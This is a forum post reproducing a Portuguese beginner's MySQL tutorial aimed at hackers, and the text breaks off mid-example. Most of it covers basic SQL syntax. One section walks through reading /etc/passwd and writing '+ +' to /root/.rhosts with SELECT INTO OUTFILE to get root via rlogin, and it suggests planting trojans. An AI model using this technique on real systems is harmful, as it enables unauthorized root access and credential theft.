QuoteBem, já que estou aprendendo MySql também, vou postar algo relacionado!
Desenvolvido por Nash Leon vulgo coração de leão.
nashleon@yahoo.com.br
Unsekurity Team
* Longe de ensinar passo a passo tudo sobre MySQL, irei aqui somente descrever coisas basicas,
voltadas ao pessoal Newbie. Alguns esquemas simples, de modo que nao entrarei fundo
em nada, muito menos na criação de databases e etc.
********************************** * TUTORIAL BASICO DE MySQL *
**********************************---------------------------------
INDICE------------------------------------
1 - INTRODUÇÃO.
1.1 - Termos Usados.
2 - O QUE EH O MySQL.
3 - BAIXANDO, INSTALANDO E EXECUTANDO SERVIDOR.
4 - OPERACOES BASICAS.
4.1 Conectando e Disconectando
4.2 A Linguagem do MySQL
4.2.1 - Escrevendo Strings e Numeros
4.2.2 - Variaveis
4.2.3 - Tipos de Colunas
4.2.4 - Algumas Instrucoes MySQL e Suas Sintaxes
4.3 Enviando Queries
4.4 Exemplos de Queries Comuns
5 - ADMINISTRACAO BASICA
5.1 Controle de Acesso
5.2 Setando Privilegios
6 - TERMINANDO.
6.1 - Links e Referencias.
6.2 - Consideracoes Finais.------------------------------------------------------------------------------
1 - I
NTRODUÇÃO O pessoal mais inexperiente tem mais dificuldade em achar informações de nível que
poderiam ser boas no intuito de agucar a curiosidade do mesmo em busca de mais informações e
dominio sobre os sistemas. Uma das coisas mais importantes que uma rede de médio ou grande
porte pode conter são os bancos de dados. Esses bancos de dados em sua maioria sao verdadeiros
canivetes suiços, onde neles pode-se achar desde informações pessoais dos usuarios e clientes,
ateh mesmo dados sigilosos e projetos "secretos". Um "fucador" mais experiente não se contenta
somente com o acesso ao Sistema Operacional em sí, ele busca acima de tudo encontrar
informações que possam de alguma forma abrangir mais seus conhecimentos.
É nesse intuito que os banco de dados podem servir de benefício, a idéia não é bisbilhotar dados
pessoais dos usuários do sistema, longe disso, e sim avancar mais no dominio e conhecimento da
rede invadida.
Durante muito tempo (hoje ainda é), os banco de dados eram aplicações "independentes", cada empresa
procurava bons programadores para construirem um banco de dados proprio
(tomara que eu fosse
escolhido quando terminar o curso) ;D (exclusivo, as vezes), dsses que supriam as necessidades
das empresas.
Com o passar dos anos, foi contemplado um esquema mais prático que pudesse interagir bancos de
dados de sistemas diferentes, melhor dizendo, um esquema onde pudesse haver portabilidade e praticidade.
Foi aih que surgiu os "criadores de banco de dados", e suas respectivas linguagens.
Como tudo vinha caminhando para uma globalização (hoje já é fato), os banco de dados se 'universalizaram'.
1.1 -
Termos Usados--------------------
Vou descrever aqui alguns termos que irei usar no decorrer do tutorial
para que nao haja duvidas, e para facilitar o entendimento daqueles que
já leram alguns tutoriais Internet à fora:
Database (DB) -> Banco de dados (BD). Se refere ao banco de dados criado pela aplicação MySQL.
Esses databases se encontram geralmente no diretório "PATH/data".Onde PATH eh o diretorio onde se
localiza o mysql.
Colums -> Colunas, vou me referir aqui como coluna mesmo.
Table -> Tabelas, também irei "aportuguesar" esse termo.
Index -> Indexador.
floating point -> Programadores em
C sabem muito bem, é o ponto flutuante.
unsigned -> Sem sinal.
signed -> Com sinal.
lenght -> Comprimento.
2 -
O QUE EH O MySQL---------------------
MySQL é um servidor de banco de dados. Ele atua em cima de SQL(StructuredQuery Language)
que é a mais popular e padronizada linguagem de banco de dados do mundo (taih a sua importancia).
MySQL eh uma ferramenta composta por
servidor e cliente que consiste de um servidor daemon
(mysqld) e muitos diferentes programas clientes e bibliotecas (libraries).
SQL eh uma linguagem padronizada que facilita o armazenamento, atualização e o acesso à
informacao (Banco de dados). Nesse tutorial chamarei a linguagem usada de linguagem MySQL,
pois assim como o TURBO C eh diferente em sistemas, essa linguagem (SQL) tambem possui suas
diferenças.
Para um "fuçador", (desculpe o termo, hehe!! ;D) talvez seja de suma importância o conhecimento
de todos os servidores de banco de dados que puder obter. Sei que isto parece um tanto utopico,
mas o basico sobre eles nao eh dificil.MySQL talvez seja o mais facil, por isso, como ponta peh inicial,
iremos ver coisas basicas sobre ele.
3 -
BAIXANDO, INSTALANDO E EXECUTANDO SERVIDOR-----------------------------------------------
Bom,amigo, se você tiver acesso a redes mundo a fora que contem MySQL nelas, voce pode pular
este item. Mas se voce nao tiver, nao se preocupe, voce pode testar em sua maquina em casa.
Lembrando que todos os esquemas aqui sao para Linux,diga-se Linux Slackware. Os esquemas
aqui nesse item, talvez nao sirvam em outras plataformas. Antes de mais nada se faz necessario baixar
os programas. Existem varios metodos de instalacao, dentre os quais voce pode optar em baixar o source
para compilar em sua maquina, ou baixar os binarios.Se voce optar por baixar o source, preste bem
atenção aos arquivos de instrução de instalacao e siga os passos descritos nesses arquivos.
Se voce optar pelos binarios
(eu optei por eles, as novas versoes nao compilam, muitos problemas
in my ShitWare), bastarah para você descompactar o arquivo. Os enderecos para baixar os mesmos
podem ser encontrados em: http://www.mysql.com/ ;
lá existem varios links para tutoriais e informacoes sobre
MySQL.
Abaixo seguem os passos para se instalar uma versao binaria:Quote# tar zvpvf mysql-3.22.32.tar.gz
# ln -s mysql-3.22.32-pc-linux-gnu-i686 mysql
# cd mysql
# scripts/mysql_install_db
Para executar o servidor:Quote# bin/safe_mysqld &
Muito pratico, nao? Eh preferivel instalar via source.As versoes binarias
de qualquer programa devem ser vistas com cautela.Torna-se mais dificil a
percepcao de erros e problemas usando versoes binarias, e a possibilidade
de instalacao de backdoor nas mesmas eh bem maior, que digam os programas
para plataformas de codigo-fonte fechado(Windows,SunOS e etc)!
Uma vez feito tudo isto voce poderah notar algumas coisas.Digite ps aux e
netstat -na.Poderah ver os processos rodando e a porta tcp 3306 aberta
esperando(LISTEN) conexao.Isso eh importante, pois quando acessar uma rede
externa, poderah atraves desses "vestigios" reconhecer que o sistema estah
executando MySQL.
4 -
OPERACOES BASICAS----------------------
Essa parte destina-se somente a descrever algumas operacoes basica de
administracao.O que interessa primeiro para um fucador quase sempre eh
obter "root" no sistema.Em banco de dados conhecer um pouco das possiveis
operacoes com o servidor daemon eh uma boa, pois voce poderah com o tempo
e pratica, alterar facilmente 'banco de dados' de terceiros e as proprias
configuracoes do daemon.
O sistema uma vez instalado pede para o admin configurar logo sua senha.
Para isso basta voce seguir um dos passos abaixo:
[localhost: /mysql]# ./bin/mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 10 to server version: 3.22.32
Type 'help' for help.
mysql>
Voce digita seu passwd inicial quando ele pedir.Vode pode tambem atraves
da linha de comando enviar diretamente o passwd.Ex:
[localhost: /mysql]# ./bin/mysql -u root -pminhasenha
No caso acima minhasenha eh o passwd.Cuidado com isto, pois pode ser
facilmente 'capturado', pois encontra-se em modo limpo.Um outro programa
usado para "conexoes" eh o mysqladmin, com ele voce pode fazer varias
operacoes no servidor.Sua sintaxe eh a seguinte:
Usage: ./mysqladmin [OPTIONS] command command....
Digite ./mysqladmin --help | more para conferir mais sobre seu uso.Um
exemplo basico de seu uso seria:
[localhost: /mysql]# ./mysqladmin -u root -pminhasenha processlist
+----+------+-----------+----+---------+------+-------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+----+------+-----------+----+---------+------+-------+------------------+
| 11 | root | localhost | | Sleep | 447 | | |
| 14 | root | localhost | | Query | 0 | | show processlist |
+----+------+-----------+----+---------+------+-------+------------------+
Pelo visto acima, meu bd nao tah executando muita coisa, mas vamos trabalhar.
As opcoes padroes sao lidas de um arquivo /etc/my.cnf, para todos, e ~/.my.cnf para opções
especificas de um usuario do sistema. Use comandos simples de inicio, como status, ping,
version, refresh, etc.
O comando "shutdown" serve para derrubarmos, ou melhor, terminarmos a execução do
daemon.Isso eh mais pratico do que sair dando kill PID por aih.
Uma vez o daemon derrubado, necessita ser novamente carregado via
comando" bin/safe_mysqld & ".
Se o sistema estiver com configuracao padrao, qualquer um usuario do
sistema pode se conectar ao mesmo(Atencao Fucadores!).Para isso basta
digitar:
[localhost: /mysql]$ bin/mysql
Voce poder ver o user digitando no prompt do MySQL "status", veja:
Quotemysql> status
--------------
./mysql Ver 9.38 Distrib 3.22.32, for pc-linux-gnu (i686)
Connection id: 3
Current database:
Current user: nashleon@localhost
Server version 3.22.32
Protocol version 10
Connection Localhost via UNIX socket
UNIX socket /tmp/mysql.sock
Uptime: 4 min 39 sec
Threads: 2 Questions: 10 Slow queries: 0 Opens: 6 Flush tables: 1Open tables: 2
--------------
Como podemos notar o user em questao eh nashleon.Por default tambem, vale
ressaltar uma coisa.Qualquer usuario do sistema pode executar o comando
bin/mysqladmin podendo desse modo derrubar o servidor.Existem varias
maneiras de se setar permissoes, tem alguns scripts no diretorio bin
para isso, mas eu prefiro deixar como estah .;)
* * continuação!!
As databases são diretórios que contém os arquivos que correspondem as
tabelas do banco de dados.CREATE DATABASE na verdade soh cria um diretorio,
uma vez que no inicio, nao tem nenhuma tabela.
*
DROP DATABASE -> Eh usado para apagar tabelas e databases(os diretorios
--------------- como um todo).Sua sintaxe eh a seguinte:
DROP DATABASE [IF EXISTS] db_name
Exemplo:
mysql> drop database korgan;
Query OK, 0 rows affected (0.06 sec)
mysql> show databases;
+----------+
| Database |
+----------+
| mysql |
| nl |
| precos |
| test |
+----------+
4 rows in set (0.01 sec)
Como voce pode notar, a database 'korgan' nao existe mais.Muito cuidado
ao usar este arquivo, mano!
*
USE -> Eh usado para chamar um database.Ele irah avisar ao MySQL para
------ tornar naquele momento o database que o usuario deseja, o
database default para manipulacao de dados(queries).Sintaxe:
USE db_name
Onde db_name eh o nome do database, exemplo:
mysql> use nl;
Database changed
mysql>
Voce pode usar o comando USE para ficar alternando entre as databases,
mais a frente, quando analisarmos bem SELECT, veremos como fazer isso.
*
CREATE TABLE -> Usado para criacao de tabelas.Ele cria uma tabela com
-------------- um nome dado na atual database.Em MySQL 3.22 ou versoes
superiores, o nome da tabela pode ser especificado como:
db_name.tbl_name.Isto faz com que se trabalhe com uma
tabela que nao faz parte da database atual.Sintaxe:
CREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name [(create_definition,...)]
[table_options] [select_statement]
Onde:
+ tbl_name eh o nome da para a tabela.
+ create_definition pode ser:
Quotecol_name type [NOT NULL | NULL] [DEFAULT default_value] [AUTO_INCREMENT]
[PRIMARY KEY] [reference_definition]
ou PRIMARY KEY (index_col_name,...)
ou KEY [index_name] (index_col_name,...)
ou INDEX [index_name] (index_col_name,...)
ou UNIQUE [INDEX] [index_name] (index_col_name,...)
ou [CONSTRAINT symbol] FOREIGN KEY index_name (index_col_name,...)
[reference_definition]
ou CHECK (expr)
type descrito acima(em create_definition)pode ser:
QuoteTINYINT[(length)] [UNSIGNED] [ZEROFILL]
ou SMALLINT[(length)] [UNSIGNED] [ZEROFILL]
ou MEDIUMINT[(length)] [UNSIGNED] [ZEROFILL]
ou INT[(length)] [UNSIGNED] [ZEROFILL]
ou INTEGER[(length)] [UNSIGNED] [ZEROFILL]
ou BIGINT[(length)] [UNSIGNED] [ZEROFILL]
ou REAL[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou DOUBLE[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou FLOAT[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou DECIMAL(length,decimals) [UNSIGNED] [ZEROFILL]
ou NUMERIC(length,decimals) [UNSIGNED] [ZEROFILL]
ou CHAR(length) [BINARY]
ou VARCHAR(length) [BINARY]
ou DATE
ou TIME
ou TIMESTAMP
ou DATETIME
ou TINYBLOB
ou BLOB
ou MEDIUMBLOB
ou LONGBLOB
ou TINYTEXT
ou TEXT
ou MEDIUMTEXT
ou LONGTEXT
ou ENUM(value1,value2,value3,...)
ou SET(value1,value2,value3,...)
index_col_name descrito em create_definition pode ser:
col_name [(length)]
reference_definition descrito tambem em create_definition pode ser:
REFERENCES tbl_name [(index_col_name,...)]
[MATCH FULL | MATCH PARTIAL]
[ON DELETE reference_option]
[ON UPDATE reference_option]
reference_option descrito acima pode ser:
RESTRICT | CASCADE | SET NULL | NO ACTION | SET DEFAULT
+ table_options descrito na sintaxe de create table pode ser:
QuoteTYPE = {ISAM | MYISAM | HEAP}
ou AUTO_INCREMENT = #
ou AVG_ROW_LENGTH = #
ou CHECKSUM = {0 | 1}
ou COMMENT = "string"
ou MAX_ROWS = #
ou MIN_ROWS = #
ou PACK_KEYS = {0 | 1}
ou PASSWORD = "string"
ou DELAY_KEY_WRITE = {0 | 1}
ou ROW_FORMAT= { default | dynamic | static | compressed }
+ select_statement descrito na sintaxe de create table pode ser:
[IGNORE | REPLACE] SELECT ..(Algumas declaracoes select permitidas)[/quote]
A primeira visto isso em cima parece complexo, somente a pratica mesmo
para deixar as coisas bem claras.De forma bem basica, basta seguir as
regras e ver a logica.Voce jah sabe criar e usar um database, vamos agora
criar uma simples tabela nele(Use algum database jah criado por voce):
mysql> create table hackers
-> (grupos CHAR(15) DEFAULT '' NOT NULL,
-> home_pages CHAR(30) DEFAULT '' NOT NULL);
Query OK, 0 rows affected (0.15 sec)
Acima nos criamos a tabela hackers na primeira linha, na segunda
declaramos um tipo de coluna CHAR (grupos) e na terceira outro tipo de
coluna CHAR(home_pages);
mysql> show tables;
+--------------+
| Tables in nl |
+--------------+
| hackers |
+--------------+
1 row in set (0.00 sec)
Usamos SHOW para ver se nossa tabela foi criada mesmo.Estah criada a
tabela!!:).Aih estah uma simples tabela.Aos poucos a gente vai engrossando
a massa.
*
ALTER TABLE -> Nos permite mudar a estrutura de uma tabela existente.
-------------- Por exemplo, voce pode adicionar ou deletar colunas,criar
ou destruir indexes, mudar o tipo de uma coluna existente,
ou renomear colunas ou a propria tabela mesmo.Sintaxe:
ALTER [IGNORE] TABLE tbl_name alter_spec [, alter_spec ...];
Onde alter_spec se refere as especificacoes do ALTER, que podem ser:
QuoteADD [COLUMN] create_definition [FIRST | AFTER column_name ]
or ADD INDEX [index_name] (index_col_name,...)
or ADD PRIMARY KEY (index_col_name,...)
or ADD UNIQUE [index_name] (index_col_name,...)
or ALTER [COLUMN] col_name {SET DEFAULT literal | DROP DEFAULT}
or CHANGE [COLUMN] old_col_name create_definition
or MODIFY [COLUMN] create_definition
or DROP [COLUMN] col_name
or DROP PRIMARY KEY
or DROP INDEX index_name
or RENAME [AS] new_tbl_name
or table_options
Seguindo o mesmo esquema do exemplo anterior com CREATE TABLE, vamos
ver um exemplo de ALTER TABLE renomeando uma tabela(a tabela hackers que
haviamos criado):
mysql> show tables;
+--------------+
| Tables in nl |
+--------------+
| hackers |
+--------------+
1 row in set (0.03 sec)
Aih estah a tabela antes.Agora executando alter:
mysql> alter table hackers rename as grupos_hackers;
Query OK, 0 rows affected (0.01 sec)
mysql> show tables;
+----------------+
| Tables in nl |
+----------------+
| grupos_hackers |
+----------------+
1 row in set (0.01 sec)
Como podemos ver a tabela foi renomeada de hackers para grupos_hackers.
*
DROP TABLE -> Eh usado para remover uma ou mais tabelas.Todos os dados
------------ da tabela e a tabela definida sao removidos.Atencao nesse
comando tambem.Sua sintaxe:
DROP TABLE [IF EXISTS] tbl_name [, tbl_name,...]
Esse IF EXISTS eh usado para previnir erros.Um exemplo desse comando pode
ser visto abaixo, usando nossa tabela criada nos itens anteriores:
mysql> show tables;
+----------------+
| Tables in nl |
+----------------+
| grupos_hackers |
+----------------+
1 row in set (0.01 sec)
Vamos apagar a tabela grupos_hackers:
mysql> drop table grupos_hackers;
Query OK, 0 rows affected (0.01 sec)
mysql> show tables;
Empty set (0.01 sec)
Apagamos com sucesso.Muito cuidado com esse comando quando for usa-lo
rede a fora.
*
OPTIMIZE TABLE -> Deve ser usado se voce tem deletado uma parte grande
----------------- de uma tabela ou se voce tem feito mudancas com o
tamanho-variavel de filas(tabelas que tem colunas
do tipo VARCHAR, BLOB ou TEXT).Voce pode usar OPTIMIZE
TABLE para corrigir um espaco nao usado.OPTIMIZE TABLE
trabalha fazendo uma copia temporaria da tabela original.
A velha tabela eh copiada para a nova tabela, entao a
tabela original eh deletada e a nova eh renomeada.Sintaxe:
OPTIMIZE TABLE tbl_name
Fuçadores atencao!!Enquanto OPTIMIZE TABLE estah executando. a tabela
original pode ser lida por outro cliente.
* SELECT -> Este eh uma intrucao interessantissima.Ela eh usado para
-------- resgatar fila selecionada de uma ou mais tabelas.Ela eh usada
mais precisamente para analisar os dados que estao sendo
manipulados.Esse comando eh um verdadeiro canivete suico.Sintaxe:
QuoteSELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [HIGH_PRIORITY]
[DISTINCT | DISTINCTROW | ALL] select_expression,...
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
[GROUP BY col_name,...]
[HAVING where_definition]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
[liMIT [offset,] rows]
[PROCEDURE procedure_name] ]
Isso tudo acima aih eh sua sintaxe.Nao tem muito segredo.Vejamos alguns
argumentos:
+ select_expression indica a coluna que voce quer resgatar.
Select tambem pode ser usado para resgatar filas computadas sem referencia
a alguma tabela.Exemplo:
mysql> select 0xa + 0x6; # Somando dois numeros hexadecimais.
+-----------+
| 0xa + 0x6 |
+-----------+
| 16 |
+-----------+
1 row in set (0.01 sec)
Funciona como uma verdadeira calculadora.Veja na parte de links para obter
mais informacoes sobre select nos tutoriais que tem net a fora.
*
INSERT -> Insere novas filas sobre uma tabela existente.Sintaxe:
---------
QuoteINSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name [(col_name,...)]
VALUES (expression,...),(...),...
ou INSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name [(col_name,...)]
SELECT ...
ou INSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name
SET col_name=expression, col_name=expression, ...
A primeira forma de declaracao(INSERT ... VALUES) insere filas baseadas
em valores explicitamente especificados em tbl_name(nome da tabela).Exemplo:
- Criamos tabela, se tiver aih, use qualquer uma:
mysql> create table hackers
-> (grupos CHAR(15) DEFAULT '' NOT NULL,
-> home_pages CHAR(40) DEFAULT '' NOT NULL);
Query OK, 0 rows affected (0.01 sec)
- Inserimos os valores que desejamos:
mysql> insert into hackers values
-> ("Unsekurity Team","http://unsekurity.cyberpunk.com.br"),
-> ("w00w00","http://www.w00w00.org"),
-> ("Chaos Computer Club","http://www.ccc.de");
Query OK, 3 rows affected (0.01 sec)
Records: 3 Duplicates: 0 Warnings: 2
Para visualizarmos a tabela podemos usar SELECT:
mysql> select * from hackers;
+-----------------+------------------------------------+
| grupos | home_pages |
+-----------------+------------------------------------+
| Unsekurity Team | http://unsekurity.cyberpunk.com.br (http://unsekurity.cyberpunk.com.br) |
| w00w00 | http://www.w00w00.org (http://www.w00w00.org ) |
| Chaos Computer | http://www.ccc.de (http://www.ccc.de ) |
+-----------------+------------------------------------+
3 rows in set (0.00 sec)
A segundo forma se declaracao(INSERT ... SELECT) insere filas selecionadas
de outra(s) tabela(s).Vejamos um exemplo:
- Vamos inserir o dado sobre o 'Unsekurity Team' da tabela hackers acima
em outra tabela.Vamos criar uma nova tabela:
mysql> create table fucadores_brasileiros
-> (grupo CHAR(15) DEFAULT '' NOT NULL,
-> home_page CHAR(40) DEFAULT '' NOT NULL);
Query OK, 0 rows affected (0.01 sec)
- Tabela foi criada acima, agora vamos inserir os dados da outra tabela
(tabela hackers), nessa tabela(tabela fucadores_brasileiros):
mysql> insert into fucadores_brasileiros select * from hackers where
-> grupos = 'Unsekurity Team';
Query OK, 1 row affected (0.02 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> select * from fucadores_brasileiros;
+-----------------+------------------------------------+
| grupo | home_page
+-----------------+------------------------------------+
| Unsekurity Team | http://unsekurity.cyberpunk.com.br (http://unsekurity.cyberpunk.com.br) |
+-----------------+------------------------------------+
1 row in set (0.01 sec)
Aih estah.Com pratica tudo sai mano, mas cuidado na interacao dos comandos.
A terceira forma de declaracao de INSERT(INSERT ... SET) serve para setar
valores especificos para as colunas indicadas.Existe muito mais
informacoes sobre INSERT, se necessitar, veja os links.
*
REPLACE -> Este comando trabalha exatamente como INSERT, exceto que se
---------- os velhos dados gravados na tabela possuem algum valor, como
uma nova gravacao num unico index, os velhos dados sao
deletados apos os novos dados serem inseridos.Sua Sintaxe
segue as mesmas regras de INSERT:
QuoteREPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name [(col_name,...)]
VALUES (expression,...)
ou REPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name [(col_name,...)]
SELECT ...
ou REPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name
SET col_name=expression, col_name=expression,...
*
LOAD DATA INFILE -> Este comando le filas de um arquivo texto sobre uma
-------------------- tabela.Sua sintaxe eh:
LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE]
INTO TABLE tbl_name [FIELDS [TERMINATED BY '\t'] [OPTIONALLY]
ENCLOSED BY ''] [ESCAPED BY '\\' ]] [liNES TERMINATED BY '\n']
[IGNORE number LINES] [(col_name,...)]
Esse comando carrega dados de um arquivo file_name.txt sobre uma tabela
tbl_name.Essa instrucao eh muito importante, veremos um simples exemplo
dela.
mysql> create table pass(
-> passwd_local char(80) not null);
Query OK, 0 rows affected (0.02 sec)
mysql> load data local infile "/etc/passwd" into table pass;
Query OK, 18 rows affected (0.01 sec)
Records: 18 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from pass;
+-----------------------------------------------------------+
| passwd_local
+-----------------------------------------------------------+
| root:x:0:0::/root:/bin/bash
| bin:x:1:1:bin:/bin:
| daemon:x:2:2:daemon:/sbin:
| adm:x:3:4:adm:/var/log:
| lp:x:4:7:lp:/var/spool/lpd:
| sync:x:5:0:sync:/sbin:/bin/sync
| shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
| halt:x:7:0:halt:/sbin:/sbin/halt
| mail:x:8:12:mail:/var/spool/mail:
| news:x:9:13:news:/usr/lib/news:
| uucp:x:10:14:uucp:/var/spool/uucppublic:
| operator:x:11:0:operator:/root:/bin/bash
| games:x:12:100:games:/usr/games:
| ftp:x:14:1::/home/ftp:/bin/bash
| gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
| nobody:x:99:99:nobody:/:
| nashleon:x:1000:100:nash leon,,,:/home/nashleon:/bin/bash
| martin:x:1001:100:martin fallon,,,:/home/martin:/bin/bash
+-----------------------------------------------------------+
18 rows in set (0.01 sec)
Tenha calma, NewBie!!:)..Esse arquivo, todos tem permissao de leitura.Se
voce tem somente acesso ao servidor MySQL, esse esquema pode ser util
para pegar os logins e algumas informacoes do host alvo.Quer ver um
esquema interessante sobre isto??? :).Se a configuracao do MySQL for
padrao, e a porta 513(login) estiver aberta, podemos fazer:
---------------------
Simples Técnica ---------------------------
[localhost]$ ls -l /root
/bin/ls: /root: Permission denied
[localhost]$ echo '+ +' >> /tmp/maismais
[localhost]$ bin/mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 3.22.32
Type 'help' for help.
mysql> show databases;
+----------+
| Database |
+----------+
| mysql |
| test |
+----------+
2 rows in set (0.00 sec)
mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table mais(
-> rlogin char(10) not null);
Query OK, 0 rows affected (0.01 sec)
mysql> load data local infile "/tmp/maismais" into table mais;
Query OK, 1 row affected (0.02 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from mais;
+--------+
| rlogin |
+--------+
| + + |
+--------+
1 row in set (0.01 sec)
mysql> select * from mais into outfile "/root/.rhosts";
Query OK, 1 row affected (0.01 sec)
mysql> \q
Bye
[localhost]$ rlogin 127.0.0.1 -l root
Linux 2.2.13.
Last login: Wed May 31 07:00:47 -0800 2000 on tty5.
No mail.
[localhost]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
6(disk),10(wheel),11(floppy)
-------------------------------------------------------------------------
Em sistemas novos, o rlogin nao permite conexao root sem senha, mas alguns
sistemas antigos, isso ainda eh possivel.Voce pode mandar um trojan de
diretorio,um .profile, e etc...Use sua imaginacao e analise seu caso, o
esquema acima pode ser feito, voce pode criar um .c e mandar compilar via
shell script, enfim, use sua imaginacao.Outra coisa, se pode escrever num
diretorio "/root" aonde nao escreverah???
*
SET -> Muda ou seta valores no MySQL.
SET [OPTION] SQL_VALUE_OPTION= value, ...
A Sintaxe acima, seta varios tipos de opcoes que mudam a operacao do servidor
ou do cliente.Algumas opcoes que sao setadas permanacem com efeito ateh a
sessao atual terminar ou ateh que voce set um valor diferente para a opcao.
SET PASSWORD = PASSWORD('alguma senha')
A Sintaxe acima seta senha para o usuario atual.Qualquer usuario nao
anonymous(anonimo) pode mudar seu proprio passwd.
SET PASSWORD FOR user = PASSWORD('alguma senha')
A Sintaxe acima seta senha para um usuario especifico, no servidor atual.
Somente um usuario com acesso para o banco de dados mysql pode fazer isso.
Por padrao, somente o root pode fazer isso, ou seja:
[localhost]$ bin/mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 3.22.32
Type 'help' for help.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql>
ou se preferir:
[localhost]$ bin/mysql -u root mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6 to server version: 3.22.32
Type 'help' for help.
mysql>
A Instalacao padrao nos permite 'brincar' de varios modos com o servidor
MySQL.Serah mostrado mais abaixo como setar passwd de modo mais especifico.
Outras Sintaxes interessantes para SET sao:
SET SQL_SAFE_MODE = 0 | 1 -> Seta modo seguro, onde se alguem tentar
instrucoes como UPDATE e DELETE, o servidor irah
abordar.Caso SQL_SAFE_MODE esteja setado com 1.
SET SQL_LOG_OFF = 0 | 1 -> Se estiver setado para 1, nao irah logar no log
de termino do cliente.
SET SQL_LOG_UPDATE = 0 | 1 -> Se estiver setado para 0,nao logara no log
de update do cliente.
SET SQL_SELECT_LIMIT = value | DEFAULT -> Seta o numero maximo de gravacoes
para retorno da declaracao
SELECT.Por default, esse numero
maximo para novas conexoes eh
ilimitado, nao tem limite.
*
UPDATE -> Essa instrucao eh usada para atualizar colunas nas saidas
--------- das filas da tabela com novos valores.A instrucao SET eh
usada em conjunto com essa para indicar quais colunas os
valores delas devem ser modificados.Sua Sintaxe:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
[WHERE where_definition] [liMIT #]
Se eh dada uma instrucao WHERE, entao eh especificada quais filas devem
ser atualizadas, senao todas as filas serao atualizadas.
*
FLUSH -> Essa instrucao eh usada quando queremos 'limpar' alguns dos
-------- dados internos do cache que o MySQL usa.Para executar FLUSH,
voce deve ter o privilegio reload(recarregar).Sintaxe:
FLUSH flush_option [,flush_option]
Onde flush_option pode ser:
HOSTS -> Esvazia a tabela de hosts.
LOGS -> Fecha, Reabre os arquivos de log padrao e atualiza os mesmos.
TABLES -> Fecha todas as tabelas abertas.
PRIVILEGES -> Recarrega os privilegios de uma tabela grant(concedida) no
database do mysql.
STATUS -> Zera os muitas 'variaveis status'.
* KILL -> Essa instrucao killa(derruba) um thread de uma conexao separada
------- no MySQL.Sintaxe:
KILL thread_id
Cada conexao para mysqld executa em um thread separado.Voce pode ver quais
threads estao sendo executados com a instrucao SHOW PROCESSLIST, e killar
um thread especifico com o comando KILL thread_id.Se voce tem o privilegio
"process", voce pode ver e killar todos os threads, se nao tem, voce soh
poderah ver e killar os seus processos.
* EXPLAIN -> Outro canivete suico.Essa instrucao serve para nos ajudar
---------- nos fornecendo informacoes sobre algo.Sao varias as possiveis
sintaxes para essa instrucao.Vejamos:
+ EXPLAIN tbl_name
A Sintaxe acima nos fornece informacoes sobre uma tabela.Ela eh
equivalente a instrucao DESCRIBE tbl_name ou mesmo a instrucao SHOW
columns FROM tbl_name.Vejamos:
mysql> explain mais;
+--------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) | | | | |
+--------+----------+------+-----+---------+-------+
1 row in set (0.03 sec)
mysql> describe mais;
+--------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) | | | | |
+--------+----------+------+-----+---------+-------+
1 row in set (0.00 sec)
mysql> show columns from mais;
+--------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) | | | | |
+--------+----------+------+-----+---------+-------+
1 row in set (0.01 sec)
+ EXPLAIN SELECT select_options
A sintaxe acima indica para o MySQL como ele deve processar a instrucao
SELECT, provendo informacoes sobre como as tabelas estao associadas e em
que ordem.Exemplo:
mysql> explain select * from mais;
+-------+--------+---------------+------+---------+------+------+-------+
| table | type | possible_keys | key | key_len | ref | rows | Extra |
+-------+--------+---------------+------+---------+------+------+-------+
| mais | system | NULL | NULL | NULL | NULL | 1 | |
+-------+--------+---------------+------+---------+------+------+-------+
1 row in set (0.14 sec)
Existem muitas outras declaracoes e sintaxes para EXPLAIN, mas o basico eh
isso que descrevi.
*
DESCRIBE -> Essa instrucao eh usada para nos dar informacoes sobre uma
----------- coluna de uma tabela.Sintaxe:
{DESCRIBE | DESC} tbl_name {col_name | wild}
Onde:
col_name pode ser uma coluna ou string contendo os caracteres wildcards
SQL '%' e '_'.Exemplo:
- Criamos uma simples tabela:
mysql> create table dados(nome char(30) not null, idade int(5) not null,
-> estado_civil char(10) not null)\g
Query OK, 0 rows affected (0.01 sec)
- Inserimos Valores:
mysql> insert into dados values("Jose","21","Casado"),("Maria","20",
